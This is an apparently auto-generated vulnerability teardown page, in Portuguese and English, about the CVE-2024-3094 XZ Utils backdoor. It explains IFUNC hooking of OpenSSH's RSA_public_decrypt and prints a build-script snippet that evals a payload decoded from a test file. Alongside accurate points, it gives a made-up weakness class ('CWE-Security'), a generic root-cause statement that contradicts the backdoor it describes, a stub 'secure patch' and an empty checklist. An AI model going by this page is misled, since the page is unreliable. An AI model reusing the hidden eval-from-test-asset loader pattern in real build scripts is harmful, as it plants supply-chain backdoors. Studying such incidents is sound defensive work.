flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor

● CVE-2024-3094 · CVSS 9.8 · Crítica
Pesquisa · FlawOpen

CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

Análise técnica do código-fonte da CVE-2024-3094: como modificações maliciosas no resolvedor IFUNC do liblzma subverteram a autenticação do OpenSSH.

💡 Explicação em Linguagem Simples (ELI5)

Imagine que um banco construa um cofre usando canos de encanamento padrão. As plantas oficiais são limpas. Mas o operário da fábrica que embala as caixas de transporte escorrega um fio eletrônico invisível dentro do cano. Quando o cano é parafusado no cofre no Linux, o fio se conecta à fechadura da porta da frente do banco (OpenSSH), permitindo que o operário abra o cofre a qualquer momento usando um controle remoto secreto. No CVE-2024-3094, o backdoor foi ocultado dentro de scripts de build nos arquivos tarball de lançamento para conceder acesso root não autenticado via SSH.

Conceitos Centrais e Termos

Open Source Systems
Componente de arquitetura principal afetado pelo CWE-Security.
CWE-Security
Classificação padrão Common Weakness Enumeration (CWE) para cve-2024-3094-xz-utils-backdoor.
Defense-in-Depth
Verificação de engenharia em múltiplas camadas e isolamento de limites em tempo de execução.

Análise de Causa Raiz

A causa raiz decorre de parâmetros de limite não validados em sistemas de código aberto, permitindo a dessincronização de estado e a evasão dos controles de segurança.

Fluxo de Ataque Passo a Paso

Step 1

Indirect Linkage via libsystemd

Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.

Step 2

Early IFUNC Evaluation

During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.

Step 3

Symbol Table Hooking

The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.

Step 4

Signature Hijack & Root Execution

When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.

Código-Fonte: Vulnerável vs. Seguro

✕ IMPLEMENTAÇÃO VULNERÁVEL
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
✓ PATCH SEGURO E ROBUSTO
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

Lista de Verificação de Segurança para Engenharia